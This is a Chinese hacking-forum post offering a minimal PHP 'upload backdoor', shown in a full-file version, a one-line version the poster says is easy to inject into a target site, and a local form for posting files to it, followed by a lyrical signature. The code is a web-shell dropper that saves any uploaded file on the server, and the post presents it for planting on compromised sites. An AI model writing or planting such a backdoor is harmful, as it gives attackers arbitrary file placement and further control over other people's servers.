返回列表 回复 发帖
所需阅读权限 1

[注意]一个超小型PHP上传型后门

  1. <?
  2. $fname = $_FILES['MyFile']['name'];   
  3. $do = copy($_FILES['MyFile']['tmp_name'],$fname);
  4. if ($do)
  5. {
  6.     echo"上传成功<p>";
  7.     echo "http://".$SERVER_NAME."".dirname($PHP_SELF)."/".$fname."";
  8. } else {
  9.     echo "上传失败";
  10. }
  11. ?>
  12. <form ENCTYPE="multipart/form-data" ACTION="<?php echo"".$PHP_SELF.""; ?>" METHOD="POST">
  13. <input NAME="MyFile" TYPE="file">
  14. <input VALUE="提交" TYPE="submit">
  15. </from>  
复制代码
够精简的吧?其实还可以更精简的。但我只是为了使用方便,加了一个判断。这个是一体化的,界面和代码在一个文件里面。

再给一个超级小小小小的,和表单是分离。而且只有一行代码。方便大家写入了吧?如果需要转义引号,大家看情况自己加吧。
  1. <?php $msg = copy($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']) ? "上传成功" : "上传失败";echo $msg;?>
复制代码
本地提交表单的代码如下:
  1. <form ENCTYPE="multipart/form-data" ACTION="这里是实际的URL" METHOD="POST">
  2. <input NAME="MyFile" TYPE="file">
  3. <input VALUE="提交" TYPE="submit">
  4. </from>
复制代码

                     我是一个呼吸着现在的空气而生活在过去的人
               这样的注定孤独,孤独的身处闹市却犹如置身于荒漠
                                     我已习惯了孤独,爱上孤独
                                 他让我看清了自我,还原了自我
                             让我再静静的沉思中得到快乐和满足
                                   再孤独的世界里我一遍又一遍
                                   不厌其烦的改写着自己的过去
                                             延伸到现在与未来
                                       然而那只是泡沫般的美梦
                                 产生的时刻又伴随着破灭的到来
                         在灰飞烟灭的瞬间我看到的是过程的美丽
                                      而不是结果的悲哀。。。
返回列表